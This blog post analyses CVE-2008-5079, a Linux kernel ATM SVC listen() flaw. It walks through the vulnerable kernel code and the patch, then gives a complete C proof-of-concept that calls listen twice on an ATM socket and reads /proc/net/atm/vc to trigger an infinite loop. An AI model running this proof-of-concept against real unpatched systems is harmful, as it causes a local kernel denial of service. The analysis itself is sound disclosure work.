xorl %eax, %eax

CVE-2008-5079: Linux ATM Local DoS

leave a comment »

This vulnerability was found by Hugo Dias on 14 November 2008 and publicly disclosed on 5 December 2008 as you can see here. This ATM vulnerability affects Linux kernel up to 2.6.27.8 release and the bug can be found at net/atm/svc.c. Here is the code taken from Linux kernel 2.6.27.8 release. For those of you that don’t now what SVC sockets are, they are just common sockets for ATM networks that are Switched Virtual Circuit architecture (if you don’t know either what this is, then maybe you should read your A. Tanenbaum’s Computer Networks copy again). Here is the vulnerable function:

281
282 static int svc_listen(struct socket *sock,int backlog)
283 {

This function can be reached through listen(2) system call when managing ATM SVC sockets. Now, if we continue with this function, we are going to see this:

284        DEFINE_WAIT(wait);
285        struct sock *sk = sock->sk;
286        struct atm_vcc *vcc = ATM_SD(sock);
287        int error;
288
289        pr_debug("svc_listen %p\n",vcc);
290        lock_sock(sk);
291        /* let server handle listen on unbound sockets */
292        if (test_bit(ATM_VF_SESSION,&vcc->flags)) {
293                error = -EINVAL;
294                goto out;
295        }
296        vcc_insert_socket(sk);
297        set_bit(ATM_VF_WAITING, &vcc->flags);
298        prepare_to_wait(sk->sk_sleep, &wait, TASK_UNINTERRUPTIBLE);

Nothing notable apart from the call to vcc_insert_socket() which is used to insert the socket descriptor to the VCC and can be found at net/atm/common.c. Have a look at line 292. You can see that VCC’s (Virtual Channel Connection) flags of the ATM device are checked against P2MP session control descriptor but it is not checked against ATM_VF_LISTEN which is used to mark a socket if it’s used for listening. This means that we can have more than one descriptors liten(2)ing on the same ATM SVC socket. This was bug was fixed simply by adding this:

     }
-    vcc_insert_socket(sk);
+    if (test_bit(ATM_VF_LISTEN, &vcc->flags)) {
+        error = -EADDRINUSE;
+        goto out;
+    }
     set_bit(ATM_VF_WAITING, &vcc->flags);

And placing the call to vcc_insert_socket() after like this:

     set_bit(ATM_VF_LISTEN,&vcc->flags);
+    vcc_insert_socket(sk);
     sk->sk_max_ack_backlog = backlog > 0 ? backlog : ATM_BACKLOG_DEFAULT;

This by itself might seem harmless but as H. Dias found, this will generate unassigned PVC (Private Virtual Circuit) and/or SVC (Switched Virtual Circuit) entries. These are accessible through /proc/net/atm/vc file, but as he pointed out when net/atm/proc.c tries to access these entries it enters an infinite loop. Here is how this is done:

72 static inline int compare_family(struct sock *sk, int family)
73 {
74        return !family || (sk->sk_family == family);
75 }

This inline function is used to check the socket against a socket family which is passed as argument. Next, there is a function that iterates through every VCC entry which is this:

77 static int __vcc_walk(struct sock **sock, int family, int *bucket, loff_t l)
78 {
79        struct sock *sk = *sock;
        ...
92        for (; sk; sk = sk_next(sk)) {
93                l -= compare_family(sk, family);
94                if (l < 0)
95                        goto out;
96        }
        ...
104        return (l < 0);
105 }

Here you can see at line 92 that the for loop keeps iterating through the sockets until it reaches a NULL. Of course, because of the previous vulnerability on ATM SVC listen(2) we can make it access out of bounds entries which can only be stopped if compare_family() iterates enough times to make l a negative integer or if a NULL entry is reached. To reach this code we can view the contents of /proc/net/atm/vc. By doing this, we’re indirectly calling this function to provide us with a listing. Here is my extremely simple PoC for this vulnerability:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>

/* You can also try /proc/net/atm/scv and /proc/net/atm/pvc */
#define PROCF "/proc/net/atm/vc"
#define DDP   37

int
main(void)
{
   int fd, sd, r;
   char buf[1024*4];

   printf("[+] Opening ATM SVC socket\n");
   if ((sd = socket(PF_ATMSVC, 0, DDP)) == -1) {
      printf("[-] Failed at creating ATM socket\n");
      return -1;
   }

   printf("[+] Assigning the first listen\n");
   if (listen(sd, 10) == -1) {
      printf("[-] Failed on first listen call\n");
      _exit(-1);
   } 

   printf("[+] Assigning the second listen\n");
   if (listen(sd,  2) == -1) {
      printf("[-] Failed on the second listen call\n");
      _exit(-1);
   } 

   printf("[+] Opening " PROCF " file\n");
   if ((fd = open(PROCF, O_RDONLY)) == -1) {
      printf("[-] Failed on opening file.\n");
      _exit(-1);
  }
  
  printf("[+] Trying to enter infinite loop\n");
  printf("[+] " PROCF " contents:\n");
  if ((r = read(fd, buf, sizeof(buf)-1)) != -1) {
      buf[r] = 0;
      printf("%s", buf);

      close(fd);
      close(sd);
  }

  return 0;
}

Written by xorl

January 23, 2009 at 14:14

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s